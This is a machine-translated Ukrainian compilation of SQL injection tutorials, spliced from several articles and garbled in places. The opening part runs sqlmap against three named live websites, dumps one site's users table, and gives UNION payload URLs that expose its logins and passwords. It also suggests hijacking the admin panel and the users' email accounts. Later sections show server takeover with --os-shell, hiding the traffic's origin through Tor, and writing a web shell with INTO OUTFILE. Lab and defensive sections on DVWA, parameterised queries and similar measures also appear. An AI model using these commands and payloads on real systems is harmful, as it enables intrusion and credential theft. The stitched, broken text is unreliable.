Заливка шелла за допомогою ін'єкції SQL. Заливаємо шелл. Можливі проблеми під час сканування sqlmap

Що таке sqlmap, для чого вона потрібна

Програма дозволяє перевіряти сайти на наявність у них уразливості SQL-ін'єкції, уразливості XSS, а також експлуатувати SQL-ін'єкцію. Підтримуються різноманітні типи SQL-ін'єкцій та різноманітні бази даних.

Що можна робити за допомогою sqlmap

За допомогою sqlmap можна:

  • перевіряти, чи є у сайтах вразливість

Якщо сайт вразливий до SQL-ін'єкції, можливо:

  • отримувати інформацію з бази даних, у тому числі дамп (усю) базу даних
  • змінювати та видаляти інформацію з бази даних
  • заливати шелл (бекдор) на веб-сервер

Один із сценаріїв використання sqlmap:

  • Отримання імені користувача та пароля з бази даних
  • Пошук панелей адміністрування сайту (адмінок)
  • Вхід до адмінки з отриманим логіном та паролем

За наявності вразливості атака може розвиватися за різними напрямками:

  • Модифікація даних
  • Заливка бекдору
  • Використання JavaScript коду для отримання даних користувачів
  • Впровадження коду для підчеплення на BeEF

Як ми можемо переконатися, SQL-ін'єкція – дуже небезпечна вразливість, яка дає зловмиснику більші можливості.

Перевірка сайтів за допомогою sqlmap

Якщо сайт отримує дані від користувача методом GET (коли і ім'я змінної та дані, що передаються, видно в адресному рядку браузера), то потрібно вибрати адресу сторінки, в якій присутня ця змінна. Вона йде після знака питання ( ? ), наприклад:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

У першій адресі ім'я змінної - id, А значення, що передається - 8 . У другій адресі ім'я змінної також id, а значення, що передається 22 . У третьому прикладі ім'я змінної таке саме, але передається значення p_36. Одинакове ім'я змінної - це випадковий збіг для різних сайтів, воно може бути будь-яким, можуть бути будь-якими передані дані, може бути кілька змінних зі значеннями, розділені символом & .

Якщо ми хочемо перевірити, чи вразлива змінна id до SQL-ін'єкції, то нам потрібно вводити адресу повністю - http://www.dwib.org/faq2.php?id=8 (а не http://www.dwib.org /faq2.php або http://www.dwib.org).

Команда для перевірки змінної, що передається методом GET, дуже проста:

Sqlmap -u адреса_сайту

Для цих сайтів команди будуть:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

В процесі перевірки sqlmap може ставити різні питання і на них потрібно відповідати y(тобто так) або n(Тобто Ні). Літера y і n можуть бути великими або дрібними. Велика буква означає вибір за замовчуванням, якщо ви з ним згодні, то просто натисніть клавішу Enter.

Приклади ситуацій та питань:

Хевристики визнали, що target is protected by some kind of WAF/IPS/IDS do you want sqlmap to try to detect backend WAF/IPS/IDS?

Евристика визначила, що ціль захищена якимось WAF/IPS/IDS. Ви хочете, щоб sqlmap спробувала визначити найменування WAF/IPS/IDS?

Мій улюблений запит:

Heuristic (basic) тест показує, що GET параметр "id" може бути injectable (можливий DBMS: "MySQL") testing for SQL injection на GET параметр "id" it looks як the back-end DBMS є "MySQL". Як ви хочете, щоб вибрати test payloads specific для інших DBMSes?

Суть у тому, що евристика визначила, що параметр може бути вразливий і вже визначено віддалену СУБД, нас запитують, чи ми хочемо продовжити перевірку. А на другому скріншоті сайті ще й уразливий до XSS.

Якщо ви хочете автоматизувати процес, щоб sqlmap не питала вас щоразу, а використовувала вибір за умовчанням (там завжди найкращі варіанти), то можна запустити команду з опцією --batch:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Можливі проблеми під час сканування sqlmap

Можуть з'явитися такі помилки:

Connection timed out to the target URL. sqlmap is going to retry the request(s) if the problem persists please check that the provided target URL is valid. У випадку, що це є, ви можете спробувати, щоб перейти з перемикачем "--random-agent" керується і/або proxy перемикання ("--ignore-proxy", "--proxy",...)

Це означає, що веб-сайт не хоче «розмовляти» з sqlmap. Як варіант нам пропонують використовувати --random-agent. Якщо в браузері ви можете спостерігати сайт, а sqlmap пише про неможливість підключитися, значить сайт ігнорує запити, орієнтуючись на агент користувача. Опція --random-agent змінює стандартне значення sqlmap на будь-які:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Ще однією причиною такої помилки може бути блокування вашого IP веб-сайтом – тоді потрібно використовувати проксі. Якщо ви вже використовуєте проксі і з'являється ця помилка, це може означати, що у проксі проблеми зі зв'язком і варто спробувати без нього.

Результати сканування sqlmap

Знайдені SQL-ін'єкції відображаються так:

Тобто. виділяються жирно-салатовим кольором, пишеться ім'я вразливого параметра, вид SQL-уразливості та є слово injectable.

Отримання списку баз даних із sqlmap

Для отримання списку баз даних використовується опція --dbs. Приклади:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Отримання інформації з баз даних

Наприклад, для сайту wellerpools.com виявлено дві бази даних:

[*] information_schema [*] main_wellerpools

Я хочу дізнатися про список таблиць у базі даних main_wellerpools. Для цього використовується опція --tables. Крім неї, нам потрібно вказати цікаву для нас таблицю після опції -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Список таблиць:

З якоїсь причини мені хочеться дізнатися список колонок з таблиці users. Для цього використовується опція --columns. Крім неї, нам потрібно вказати базу даних, що цікавить нас ( -D main_wellerpools) і після ключа -Tтаблицю, на яку ми хочемо побачити список колонок:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

Для виведення вмісту використовується опція --dump. Її можна вказати разом із базою даних, і тоді буде зроблено дамп усієї бази даних, а можна обмежити дані однією таблицею або навіть однією колонкою. Наступною командою я хочу побачити вміст усієї таблиці users:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Погляньте на паролі – я при побіжному огляді подумав, що це хеші. Адміни справді намагалися захиститися, але це їм не допомогло.

До речі, оскільки вразливий параметр, який приймає дані, надіслані методом GET, можна сформувати запит прямо в рядку браузера таким чином, що логін і пароль користувача будуть виведені прямо на самому сайті:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+from+users--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+from+users--

Тобто. у нас ім'я користувача, пароль та пошта користувачів (а швидше за все навіть адміністраторів) сайту. Якщо вдасться знайти адміністративну панель сайту, можна отримати керування над сайтом або веб-сервером. Враховуючи любов користувачів до однакових паролів та знаючи їх поштові скриньки – можна спробувати зламати пошту.

Загалом SQL-ін'єкція - це дуже небезпечна вразливість.

SQL Injection – це тип атаки, у якому зловмисник змінює логіку SQL запитів веб-додатка, що дозволяє йому читати/змінювати/видаляти значення базі даних, інколи ж – виконувати довільний код за сервера. У статті буде розглянуто популярну утиліту sqlmap для проведення sql-ін'єкцій.

На даний момент даний тип вразливості є найбільш небезпечним з усіх можливих. Протягом 7 років, лідируючу строчку «OWASP TOP -10» очолюють саме SQL ін'єкції.

Існує 5 основних причин виникнення цієї вразливості:

  1. Недостатній рівень або відсутність валідації вхідних параметрів, особливо введення користувача. "Будь-який вхідний параметр - зло"
  2. Необґрунтований та слабко захищений доступ до баз даних. У цю категорію входять такі чинники як: велика кількість адміністраторів та супер-користувачів (root), слабка система аутентифікації, велика кількість прав для другорядних адміністраторів тощо.
  3. Архітектура. Використання застарілих технологій, відсутність контрольних заходів, нехтування методологією «моделювання загроз».
  4. Спадковість свідомо вразливого коду, використання готових рішень із низьким рівнем безпеки.
  5. Відсутність належного рівня абстрагування виконуваного коду даних.

SQLMap.

Типи ін'єкцій SQL.

Розглянемо типи SQL ін'єкцій експлуатовані утилітою SQLMap:

  1. Boolean Based Blind SQL Injection
    • Метод, у якому HTTP -запити і відповіді зчитуються посимвольно виявлення вразливості.
    • Як тільки вразливий параметр виявлено, SQLMap замінює або додає синтаксично правильні оператори SQL, очікуючи на реакцію виконання цього коду сервером.
    • SQLMap порівнює оригінальний валідний запит із відповіддю від запиту із впровадженим шкідливим кодом.
    • SQLMap використовує алгоритм поділу навпіл ( bisectional algorithm) для вибору кожного символу відповіді з використанням максимум семи HTTP-запитів.
    • Там, де відповідь віддається над чистому тексті, SQLMap адаптує алгоритм великими значеннями визначення відповіді.
  2. Time-Based Blind SQL Injection
    • Метод Time Based сам по собі передбачає, що існує деяке порівняння на основі часу запиту та відповіді шляхом ін'єкції синтаксично правильного оператора SQL у вразливий параметр.
    • SQLMap використовує оператори SQL, які розміщують базу даних у режимі очікування для повернення на певну кількість часу.
    • Використовуючи той самий алгоритм bisectional algorithm , щоб виводити символ за символом, SQLMap порівнює час відповіді HTTP із вихідним запитом.
  3. Error-Based SQL Injection
    • SQLMap використовує оператори SQL, які можуть спровокувати генерацію специфічної помилки.
    • Утиліта шукає помилки в HTTP-відповіді сервера.
    • Цей метод працює лише в тому випадку, якщо веб-програма налаштована на розкриття повідомлень про помилки.
  4. UNION Query
    • SQL оператор, що вводиться UNION ALL SELECT .
    • SQL-ін'єкція, заснована на запитах UNION, працює з урахуванням поведінки програми, тобто. коли програма передає результат письмового запиту SELECT через певний цикл чи рядок інструкцій, які дозволяють виводити вихідні дані на вміст сторінки.
    • У разі, якщо висновок не циклується через якийсь цикл forабо інший рядок операторів SQLMap використовує одноразову ін'єкцію запиту UNION.
  5. Stacked Query
    • Використання складених запитів. SQLMap додає точку з комою (;) у значення вразливого параметра і додає інструкцію SQL, яка має бути виконана.
    • Використовуючи цю техніку, можна виконувати SQL-вирази, відмінні від SELECT. Це корисно для маніпуляції даними, отримання доступу на читання та запис і, нарешті, захоплення операційною системою.
  6. Out-Of-Band
    • У цьому методі використовується вторинний або інший канал зв'язку для виведення результатів запитів, запущених у вразливій програмі.
    • Наприклад, вставка виконується у веб-додаток, а вторинний канал, такий як DNS-запитивикористовується для пересилання даних назад на домен зловмисника.

Базове використання SQLMap.

Запуск утиліти (має перебувати у зміннійPATH ):

$sqlmap

Або з директорії утиліти:

$python sqlmap.py

Для виклику документації використовується ключ «- h / — help »:

$sqlmap --help $python sqlmap.py –help

Дії ключів SQLMap повністю залежать від того, чого конкретно хоче досягти зловмисник. Основний список дій SQLMap виглядає так:

  • Перерахувати інформацію про базу даних, таку як ім'я, версію та інші деталі.
  • Вибрати певну базу для перерахування інформації про таблиці, що є в ній.
  • Вибрати таблицю та перерахувати інформацію про стовпці.
  • Вибрати стовпець та перерахувати рядки для вилучення їх значень.
  • Подальша експлуатація.

практика.

Для нашої практичної підготовки ми будемо використовувати Damn Vulnerable Web Application (DVWA або «Чортівсько вразлива веб-додаток»).

DVWA це веб-додаток, що вільно розповсюджується, побудований на таких технологіях як PHP і MySQL, призначений для тренування навичок пентесту.

Зараз нас цікавлять тільки ін'єкції, але в цілому ви можете перевірити свої здібності в інших уразливості, створених на основі офіційного OWASP TOP -10 .

P .S .: Ця практика передбачає наявність у вас знання основ Linux , початкового рівня англійської мови та вміння використовувати Google (у разі відсутності вищенаведених навичок).

Встановлення:

  • Завантажуємо додаток та дотримуємося інструкцій;
  • Змінюємо рівень складності на LOW;
  • Цікавимося лише вкладками "SQL Injection";

Початкові дані:

  • Веб сервер у приватній мережі
  • Уразлива URL : http:// your host . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Вразливий параметр: id

Отже, приступимо:

  1. Підтверджуємо наявністьSQL ін'єкції:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low;

Пояснення до команди:

- url - URL з передбачуваним вразливим параметром. Важливо, що змінна цього ключа записана лапках, т.к. URL, що перевіряється, має більше одного параметра, що передається. В іншому випадку лапками можна знехтувати і використовувати короткий варіант ключа “- u без знаку рівності .

— cookie – сесійні куки для прямого доступу під час атаки (необов'язковий ключ).

Висновок:

Аналіз:

  • Додаток вразливий до SQL ін'єкції
  • Тип ін'єкції – UNION Query
  • Back-end база даних (DBMS) – MySQL5
  • Технічні деталі ОС - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Перелічуємо назви баз даних:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab4804

Пояснення до команди:

-dbs - Ключ для перерахування наявних баз даних.

Висновок:

Аналіз: SQLMap перерахував доступні бази даних (всього 7).

  1. Перелічуємо назви таблиць (бд -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab4804

Пояснення до команди:

-D - Вказуємо базу даних, що цікавить нас.

-tables - Перераховуємо наявні таблиці в бд.

Висновок:

Аналіз:Як бачимо, SQLMap успішно перерахував назви 2-х таблиць в бд dvwa .

  1. Подальше перерахування назв стовпців таблиці “users ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab4804 users –columns

Пояснення до команди:

-T - Вказуємо цікаву для нас таблицю.

-columns - Перераховуємо наявні колонки в таблиці.

Висновок:

Аналіз:Як бачимо, SQLMap успішно перерахував назви 6-х колонок у таблиці users, бд dvwa .

  1. Перераховуємо/витягуємо значення таблиці “users ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab4804 users -C user_id,user,password --dump

Пояснення до команди:

С – Вказуємо стовпці, які нас цікавлять.

-dump - Витягуємо значення з перерахованих стовпців.

Висновок:

Аналіз:На основі відповіді SQLMap відзначаємо наступні моменти:

  • SQLMap витягує записи із зазначених стовпців і потім аналізує дані, що містяться в цих стовпцях.
  • Як тільки дані розпізнаються як можливі хеш паролів, SQLMap намагається спробувати зламати хеш, використовуючи різні алгоритми хешування.
  • У цьому випадку хеш – MD5, тому за допомогою найпершої хеш-техніки, яку використовує інструмент, він може успішно зламувати хеші та видавати добре відформатовану відповідь.
  • Крім того, інструмент зберігає перелічені записи у файлі формату ".csv" для подальшого використання; Тому вам не потрібно вивантажувати дані в текстовий файл або робити скріншот, SQLMap подбає про це.
  1. Подальша експлуатація та захоплення сервера (ASP , не входить до складуDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Пояснення до команди:

-data - Вказуємо параметри для тестування, що передаються в запиті POST.

-os -shell - Спеціальний ключ для спроби експлуатації серверної консолі через ін'єкцію SQL.

Висновок:

Аналіз:На основі відповіді SQLMap відзначаємо наступні моменти:

  • Після підтвердження та експлуатації SQL-ін'єкції, SQLMap перевіряє, чи є користувач DBA (Data Base Administrator).
  • Після цього інструмент спробував використовувати розширену процедуру, що зберігається — «xp_cmdshell», яка зазвичай використовується SQL Server 2000.
  • xp _cmdshell використовується для виконання заданого командного рядка в якості команди операційної системи. У свою чергу він виводить результат як стандартний текст.

Переваги отримання більш глибокого рівня доступу до системи:

  • Доступ до облікових даних користувача або хеш паролів.
  • Інтерактивна оболонка, яка дозволить завантажувати або вивантажувати файли з сервера.
  • Запуск осьових команд (OS) для вивчення внутрішньої мережі.
  • Можливість завантаження малварі.
  • Подальша експлуатація за допомогою Metasploit Framework.
  • Створення та затока бек-дорів.

Best practices та просунуте використання.

  1. SQLMap іSOAP (Simple Object Access Protocol ) запити:Процес аналізу запитів SOAP досить простий:
    • Захоплення вашого SOAP-запиту.
    • Збереження його в текстовий файл разом із можливими вразливими параметрами.
    • Використовуйте наведену нижче команду для SQLMap разом з опцією -p, якщо вам відомий вразливий параметр:
$./sqlmap.py -r So_request.txt -p
    • SQLMap автоматично проаналізує запит SOAP та спробує проникнути у вразливий параметр.
  1. SQLMap іJSON (JavaScript Object Notation ) запити:В аналогічних сценаріях використання SQLMap для SOAP-запитів, JSON-запити також можуть аналізуватися та експлуатувати. Для запиту типу JSON SQLMap запропонує вам експлуатувати вразливість виявивши тип запиту JSON у «файлі запиту». Як тільки ви ствердите, інструмент проаналізує запит і вибере свій власний вектор атаки.
  2. SQLMap та проксі-сервер:Корпоративні типи мереж зазвичай захищені та контролюються з використанням контрольованих проксі-серверів для всього вхідного або вихідного трафіку. У таких випадках ви можете додати параметр проксі прямо до опції SQLMap для зв'язку з цільовим URL. Хоча SQLMap є інструментом командного рядка, він обмінюється даними через HTTP-протокол, отже, якщо ви встановите HTTP-проксі для відповідного інтернет-з'єднання, SQLMap прийме його за основу:
$./sqlmap.py --proxy=http:// :
  1. SQLMap іWAF (Web Application Firewall ): WAF є додатковим рівнем захисту веб-додатків, значно ускладнюючи аналіз та експлуатацію стандартними методами SQLMap . Існує функція “tamper —script ”, яка значно спрощує роботу з веб-додатками, що знаходяться за WAF 'ом.
  2. SQLMap та анонімність:Якщо ви хочете приховати свою особистість і представитися анонімом для цільової програми, ви можете використовувати проксі-сервер TOR (The Onion Router). У SQLMap можна налаштувати проксі-сервер TOR для приховання джерела, з якого генерується трафік або запит такими ключами:
    • tor перемикання утиліти в режим використання TOR-проксі.
    • tor type ручне налаштування протоколу TOR-проксі (HTTP /SOCKS 4/4a /5).
    • check tor перевірка працездатності TOR-проксі

Вітаю тебе, читачу. Останнім часом, я захоплююсь Web-безпекою, та й певною мірою робота пов'язана з цим. Т.к. я дедалі частіше став помічати теми на різних форумах, з проханням показати, як це все працює, вирішив написати статтю. Стаття буде розрахована на тих, хто не стикався з подібним, але хотів би навчитися. У мережі відносно багато статей на цю тематику, але для початківців вони складні. Я постараюся описати все зрозумілою мовою та докладними прикладами.

Передмова

Для того, щоб зрозуміти цю статтю, вам не надто знадобиться знання SQL-мови, а хоча б наявність хорошого терпіння і трохи мізків - для запам'ятовування.

Вважаю, що одного прочитання статті буде мало, т.к. нам потрібні живі приклади – як відомо практика, у процесі запам'ятовування, не буває зайвою. Тому ми писатимемо вразливі скрипти та тренуватимемося на них.

Що таке SQL ін'єкція?
Говорячи простою мовою - це атака на базу даних, яка дозволить виконати деяку дію, яка не планувалася творцем скрипту. Приклад із життя:

Батько написав у записці мамі, щоб вона дала Васі 100 рублів і поклав її на стіл. Переробивши це на жартівливий SQL мову, ми отримаємо:
ДІСТАНЬ З гаманця 100 РУБЛІВ І ДАЙ ЇХ Васі

Так як батько погано написав записку (Корявий почерк), і залишив її на столі, її побачив брат Васі - Петя. Петя, будучи хакером, дописав там «АБО Пете» і вийшов такий запит:
ДІСТАНЬ З гаманця 100 РУБЛІВ І ДАЙ ЇХ Васі АБО Петі

Мама прочитавши записку, вирішила, що Васі вона давала гроші вчора і дала 100 рублів Петі. Ось простий приклад SQL ін'єкції з життя:) Не фільтруючи дані (Мама ледве розібрала почерк), Петя добився профіту.

Підготовка
Для практики Вам знадобиться архів з вихідними скриптами цієї статті. Завантажте його та розпакуйте на сервері. Також імпортуйте базу даних та встановіть дані у файлі cfg.php

Пошук SQL injection

Як ви вже зрозуміли, ін'єкція з'являється з вхідних даних, які не фільтруються. Найпоширеніша помилка - це фільтрація передається ID. Ну грубо кажучи підставляти у всі поля лапки. Будь це GET/POST запит та навіть Cookie!

Числовий вхідний параметр
Для практики нам знадобиться скрипт index1.php. Як я вже говорив вище, підставляємо лапки в ID новини.

Т.к. у нас запит не має фільтрації:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт зрозуміє це як

SELECT * FROM news WHERE id=1"

І дасть нам помилку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given в C:\WebServ\domains\sqlinj\index1.php on line 16

Якщо помилку не видало - можуть бути такі причини:

1.SQL ін'єкції тут немає - Фільтруються лапки, або просто стоїть перетворення на (int)
2.Відключено виведення помилок.

Якщо все ж таки помилку вивело - Ура! Ми знайшли перший вид ін'єкції SQL - Числовий вхідний параметр.

Строковий вхідний параметр

Запити надсилатимемо на index2.php. У даному файлі запит має вигляд:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут ми робимо вибірку новини на ім'я користувача, і знову ж таки - не фільтруємо.
Знову посилаємо запит із лапкою:

Видало помилку. Ок! Значить уразливість є. Для початку нам вистачить – приступимо до практики.

Приступаємо до дій

Трохи теорії

Напевно, Вам вже не терпиться витягти щось із цього, крім помилок. Для початку дізнайтеся, що знак " -- вважається коментарем у мові SQL.

УВАГА! Перед та після нього обов'язково повинні стояти прогалини. В URL вони передаються як %20

Все, що йде після коментаря - буде відкинуто.
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Виконається вдало. Можете спробувати це на скрипті index2.php, надіславши такий запит:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Вивчіть параметр UNION. У мові SQL ключове слово UNIONзастосовується об'єднання результатів двох SQL-запитів у єдину таблицю. Тобто для того, щоби витягнути щось нам потрібне з іншої таблиці.

Витягуємо з цього користь

Якщо параметр "Числовий", то в запиті нам не потрібно надсилати лапку і природно ставити коментар наприкінці. Повернемося до скрипту index1.php.

Звернімося до скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запит до БД у нас виходить таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
І він дав нам помилку, т.к. Для роботи з поєднанням запитів, нам потрібна однакова кількість полів.

Т.к. ми не можемо вплинути на їх кількість у першому запиті, то нам потрібно підібрати їх кількість у другому, щоб воно дорівнювало першому.

Підбираємо кількість полів

Підбір полів робиться дуже просто, достатньо надсилати такі запити:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Помилка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Знову помилка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Помилки нема! Значить кількість стовпців дорівнює 5.

GROUP BY
Найчастіше буває, що полів може бути 20 або 40 або навіть 60. Щоб нам щоразу не перебирати їх, використовуємо GROUP BY

Якщо запит
sqlinj/index1.php?id=1 GROUP BY 2
не видав помилок, значить кількість полів більше 2. Пробуємо:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, бачимо помилку, означає кількість полів менше 8.

Якщо при GROUP BY 4 немає помилки, а при GROUP BY 6 - помилка, Значить кількість полів дорівнює 5

Визначення стовпців, що виводяться
Для того, щоб з першого запиту нам нічого не виводилося, достатньо підставити неіснуючий ID, наприклад:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Цією дією ми визначили, які стовпці виводяться на сторінку. Тепер, щоб замінити ці цифри на потрібну інформацію, потрібно продовжити запит.

Виведення даних

Допустимо ми знаємо, що ще існує таблиця usersв якій існують поля id, nameі pass.
Нам потрібно отримати інформацію про користувача з ID=1

Отже побудуємо такий запит:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт також продовжує виводити

Для цього ми підставимо назву полів за місце цифр 1 і 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Отримали те - що потрібно!

Для «рядкового вхідного параметра», як у скрипті index2.phpпотрібно додавати лапку на початку та знак коментаря в кінці. Приклад:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Читання/Запис файлів

Для читання та запису файлів, у користувача БД повинні мати право FILE_PRIV.
Записування файлів
Насправді, все дуже просто. Для запису файлу ми будемо використовувати функцію OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Добре, файл у нас записався. Таким чином, ми можемо залити міні-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Читання файлів
Читання файлів робиться набагато легше, ніж запис. Достатньо просто використовувати функцію LOAD_FILE, за місце того поля, яке ми вибираємо:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким чином, ми прочитали попередній записаний файл.

Способи захисту

Захиститись ще простіше, ніж використовувати вразливість. Просто фільтруйте дані. Якщо Ви передаєте числа, використовуйте
$id = (int) $_GET["id"];
Як підказав користувач malroc. Захищатись використанням PDO або prepared statements.

Замість завершення

На цьому хочу закінчити свою першу частину про "SQL injection для початківців". У другій ми розглянемо важчі приклади ін'єкцій. Спробуйте самі писати вразливі скрипти і виконувати запити.
І запам'ятайте, не довіряйте жодному користувачеві вашого сайту.

SQL ін'єкція - це атака, яка задіяє динамічні оператори SQL, виносячи в коментарі певні частини інструкцій або додаючи умову, яка завжди буде дійсною. Вона націлена на дірки в архітектурі веб-додатків та використовує оператори SQL для виконання шкідливого SQL-коду:

У цій статті ми розглянемо методи, які використовуються під час SQL-ін'єкцій та способи захисту веб-додатків від таких атак.

Як працює SQL-ін'єкціях

Типи атак, які можуть бути виконані з використанням SQL-ін'єкції, різняться за типом механізмів бази даних, що вражаються. Атака націлюється на динамічні оператори SQL. Динамічний оператор — це оператор, який створюється під час виконання на основі параметрів із веб-форми або рядка запиту URI .

Розглянемо просте веб-додаток із формою входу. Код HTML-форми наведено нижче:

  • Форма приймає адресу електронної пошти, а потім пароль відправляється у файл PHP з ім'ям index.php;
  • Сесія зберігається у файлі cookie. Ця можливість активується під час встановлення прапорця remember_me . Для надсилання даних використовується метод post. Це означає, що значення не відображаються в URL-адресі .

Припустимо, що запит для перевірки ідентифікатора користувача на стороні сервера виглядає так:

  • Запит використовує значення масиву $_POST безпосередньо, не саніруя його;
  • Пароль шифрується з використанням алгоритму MD5.

Ми розглянемо атаку з використанням SQL ін'єкції sqlfiddle. Відкрийте у браузері URL-адресу http://sqlfiddle.com/ . На екрані з'явиться вікно.

Примітка: Вам потрібно буде написати інструкції SQL:

Крок 1. Введіть цей код у ліву панель:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY(`id`)); insert in users (email,password) values ​​(" [email protected]"md5("abc"));

Крок 2. Натисніть кнопку « Build Schema».
Крок 3. Введіть наведений нижче код у правій панелі:

select * from users;

Крок 4. Натисніть « Run SQL». Ви побачите наступний результат:

Припустимо, що користувач надає адресу електронної пошти [email protected]і 1234 як пароля. Запит, який має бути виконаний у базі даних, може виглядати так:

Наведений вище код ін'єкції SQL приклад може бути обійдений шляхом виведення в коментарі частини пароля і додавання умови, яке завжди буде істинним. Припустимо, що зловмисник підставляє такі дані у полі адреси електронної пошти:

[email protected]" OR 1 = 1 LIMIT 1 -- " ]

та xxx у полі пароля.

Згенерований динамічний оператор буде виглядати так:

  • [email protected]закінчується однією лапкою, яка завершує рядок;
  • OR 1 = 1 LIMIT 1 — це умова, яка завжди буде істинною, вона обмежує результати, що повертаються, тільки одним записом.

0; 'AND... — це коментар SQL, який виключає частину пароля.

Скопіюйте наведений вище запит і вставте його у текстове поле SQL FiddleRun SQL, як показано нижче:

Хакерська активність: SQL-ін'єкції у веб-додатки

У нас є простий веб-додаток, доступний за адресою http://www.techpanda.org/, який спеціально зроблений вразливим для атак з використанням SQL ін'єкцій для новачків у демонстраційних цілях. Код HTML-форми, наведений вище, взято зі сторінки авторизації цієї програми.

Воно забезпечує базову безпеку, таку як санація поля електронної пошти. Це означає, що наведений код не може використовуватися для обходу даного механізму.

Ви можете використовувати поле пароля, щоб обійти його. На наведеній нижче діаграмі показано кроки, які потрібно виконати:

Припустимо, що зловмисник надає такі дані:

Крок 1: Вводить [email protected]як адреса електронної пошти;
Крок 2: Вводить xxx') OR 1 = 1 -];

Натискає кнопку «Надіслати».

Він буде направлений до панелі адміністрування. Згенерований запит буде виглядати так:

На наведеній нижче діаграмі показано, як запит було згенеровано:

Тут:

  • У запиті передбачається, що використовується шифрування md5;
  • Використовується одиночна лапка і дужка, що закривається;
  • До оператора додається умова, яка завжди буде істинною.

Як правило, зловмисники для досягнення своїх цілей намагаються застосувати в атаці з використанням ін'єкцій SQL кілька різних методів.

Інші типи атак із використанням SQL-ін'єкцій

SQL-ін'єкції можуть завдати набагато більших збитків, ніж вхід в систему в обхід механізму авторизації. Деякі з таких атак можуть:

  • Виконати видалення даних;
  • Виконати оновлення даних;
  • Виконати додавання даних;
  • Виконати на сервері команди, які завантажуватимуть та встановлюватимуть шкідливі програми;
  • Виконати експорт на віддалений сервер зловмисника цінних даних, таких як реквізити кредитної картки, електронна пошта та паролі.

Наведений вище список не повний. Він просто дає уявлення про те, яку небезпеку становлять SQL-ін'єкції.

Інструменти для автоматизації SQL-ін'єкцій

У наведеному прикладі ми використовували методи ручної атаки. Перед тим, як зробити SQL ін'єкцію, потрібно розуміти, що існують автоматизовані інструменти, які дозволяють виконувати атаки ефективніше та швидше:

  • SQLSmack;
  • SQLPing 2;
  • SQLMap.

Як запобігти SQL-ін'єкції

Ось кілька простих правил, які дозволять захиститися від атак з використанням SQL-ін'єкцій:

Введення даних користувача не повинно бути довіреним. Його завжди потрібно санувати, перш ніж дані використовуватимуться в динамічних операціях SQL.

Збережені процедури— вони можуть інкапсулювати SQL-запити та обробляти всі вхідні дані як параметри.

Підготовлені запити— спочатку створюються запити, а потім усі надані дані користувача обробляються як параметри. Це не впливає на синтаксис інструкції SQL.

Регулярні вирази- можуть бути використані для виявлення потенційно шкідливого коду та його видалення перед виконанням операторів SQL.

Права доступу на підключення до бази даних– щоб захиститися від ін'єкцій SQL, облікові записи, які використовуються для підключення до бази даних, повинні надавати лише необхідні права доступу. Це допоможе обмежити дії, які SQL-оператори можуть виконувати на сервері.

